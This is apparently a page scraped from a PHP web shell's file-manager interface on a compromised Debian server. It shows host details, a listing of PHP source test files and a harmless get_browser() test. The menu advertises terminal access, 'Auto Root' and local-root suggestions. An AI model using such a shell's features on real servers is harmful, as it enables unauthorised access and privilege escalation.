Linux vps-61133.fhnet.fr 4.9.0-19-amd64 #1 SMP Debian 4.9.320-2 (2022-06-30) x86_64
Apache/2.4.25 (Debian)
Server IP : 93.113.207.21 & Your IP : 216.73.216.112
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
usr /
src /
php-7.4.33 /
ext /
standard /
tests /
misc /
Delete
Unzip
Name
Size
Permission
Date
Action
browscap.ini
294.85
KB
-rw-rw-r--
2022-10-31 11:36
browscap_lite_2016_12_06.ini
297.76
KB
-rw-rw-r--
2022-10-31 11:36
browscap_no_default.ini
28
B
-rw-rw-r--
2022-10-31 11:36
browsernames.inc
3.17
KB
-rw-rw-r--
2022-10-31 11:36
bug65550.phpt
409
B
-rw-rw-r--
2022-10-31 11:36
bug69983.phpt
969
B
-rw-rw-r--
2022-10-31 11:36
bug77338.phpt
1.3
KB
-rw-rw-r--
2022-10-31 11:36
bug79410.phpt
262
B
-rw-rw-r--
2022-10-31 11:36
exec_basic1.phpt
643
B
-rw-rw-r--
2022-10-31 11:36
get_browser_basic.phpt
25.9
KB
-rw-rw-r--
2022-10-31 11:36
get_browser_error.phpt
2.28
KB
-rw-rw-r--
2022-10-31 11:36
get_browser_no_default.phpt
158
B
-rw-rw-r--
2022-10-31 11:36
get_browser_variation1.phpt
24.63
KB
-rw-rw-r--
2022-10-31 11:36
get_browser_variation2.phpt
1.47
KB
-rw-rw-r--
2022-10-31 11:36
get_browser_variation3.phpt
164.47
KB
-rw-rw-r--
2022-10-31 11:36
syslog_basic.phpt
183
B
-rw-rw-r--
2022-10-31 11:36
time_nanosleep_basic.phpt
704
B
-rw-rw-r--
2022-10-31 11:36
time_nanosleep_error3.phpt
371
B
-rw-rw-r--
2022-10-31 11:36
time_nanosleep_error4.phpt
464
B
-rw-rw-r--
2022-10-31 11:36
time_nanosleep_error5.phpt
388
B
-rw-rw-r--
2022-10-31 11:36
time_sleep_until_basic.phpt
1.48
KB
-rw-rw-r--
2022-10-31 11:36
time_sleep_until_error1.phpt
487
B
-rw-rw-r--
2022-10-31 11:36
user_agents.txt
92.7
KB
-rw-rw-r--
2022-10-31 11:36
Save
Rename
--TEST-- Test get_browser() function : error functionality --INI-- browscap={PWD}/browscap.ini --FILE-- <?php /* Prototype : mixed get_browser([string browser_name [, bool return_array]]) * Description: Get information about the capabilities of a browser. * If browser_name is omitted or null, HTTP_USER_AGENT is used. * Returns an object by default; if return_array is true, returns an array. * * Source code: ext/standard/browscap.c * Alias to functions: */ $browsers = include __DIR__ . DIRECTORY_SEPARATOR . 'browsernames.inc'; echo "*** Testing get_browser() : error functionality ***\n"; /* Unknown browser uses defaults. */ var_dump( get_browser( 'foobar', true ) ); /* More than expected arguments */ var_dump( get_browser( 'foobar', true, 15 ) ); /* Some wrong parameters, no HTTP_USER_AGENT set */ var_dump( get_browser( null, 'foobar' ) ); ?> ===DONE=== --EXPECTF-- *** Testing get_browser() : error functionality *** array(34) { ["browser_name_regex"]=> string(6) "~^.*$~" ["browser_name_pattern"]=> string(1) "*" ["browser"]=> string(15) "Default Browser" ["version"]=> string(1) "0" ["majorver"]=> string(1) "0" ["minorver"]=> string(1) "0" ["platform"]=> string(7) "unknown" ["alpha"]=> string(0) "" ["beta"]=> string(0) "" ["win16"]=> string(0) "" ["win32"]=> string(0) "" ["win64"]=> string(0) "" ["frames"]=> string(1) "1" ["iframes"]=> string(0) "" ["tables"]=> string(1) "1" ["cookies"]=> string(0) "" ["backgroundsounds"]=> string(0) "" ["authenticodeupdate"]=> string(1) "0" ["cdf"]=> string(0) "" ["vbscript"]=> string(0) "" ["javaapplets"]=> string(0) "" ["javascript"]=> string(0) "" ["activexcontrols"]=> string(0) "" ["stripper"]=> string(0) "" ["isbanned"]=> string(0) "" ["wap"]=> string(0) "" ["ismobiledevice"]=> string(0) "" ["issyndicationreader"]=> string(0) "" ["crawler"]=> string(0) "" ["css"]=> string(1) "0" ["cssversion"]=> string(1) "0" ["supportscss"]=> string(0) "" ["aol"]=> string(0) "" ["aolversion"]=> string(1) "0" } Warning: get_browser() expects at most 2 parameters, 3 given in %s on line %d NULL Warning: get_browser(): HTTP_USER_AGENT variable is not set, cannot determine user agent name in %s on line %d bool(false) ===DONE===